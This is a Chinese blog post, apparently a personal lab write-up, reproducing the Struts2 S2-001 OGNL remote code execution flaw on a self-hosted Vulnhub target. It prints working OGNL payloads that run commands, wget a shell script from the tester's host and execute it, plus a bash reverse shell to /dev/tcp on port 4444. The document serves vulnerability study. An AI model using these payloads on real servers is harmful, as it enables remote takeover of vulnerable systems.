美文网首页
Vulnhub-Struts2系列漏洞

Vulnhub-Struts2系列漏洞

作者: M0nkeyK1ng | 来源:发表于2020-09-28 09:04 被阅读0次

    郑重声明:漏洞环境为自建虚拟机vulnhub靶机环境,仅供本人学习使用。

    S2-001 远程代码执行漏洞

    漏洞简述

    struts2漏洞 S2-001是当用户提交表单数据且验证失败时,服务器使用OGNL表达式解析用户先前提交的参数值,%{value}并重新填充相应的表单数据。例如,在注册或登录页面中。如果提交失败,则服务器通常默认情况下将返回先前提交的数据。由于服务器用于%{value}对提交的数据执行OGNL表达式解析,因此服务器可以直接发送有效载荷来执行命令。

    准备环境

    测试机IP:192.168.79.129
    靶机IP:192.168.79.131

    1. 启动Vulnhub靶机环境:


    2. 验证靶机应用启用成功:


    漏洞复现

    POC :

    %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
    

    准备反弹Shell文件shell.sh
    bash -i >& /dev/tcp/192.168.79.129/4444 0>&1
    启http server



    上传shell.sh文件

    %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"wget","192.168.79.129/shell.sh"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
    

    使用NC侦听反弹端口



    执行shell.sh

    %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"bash","/usr/local/tomcat/shell.sh"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
    

    得到反弹


    相关文章

      网友评论

          本文标题:Vulnhub-Struts2系列漏洞

          本文链接:https://www.haomeiwen.com/subject/bezruktx.html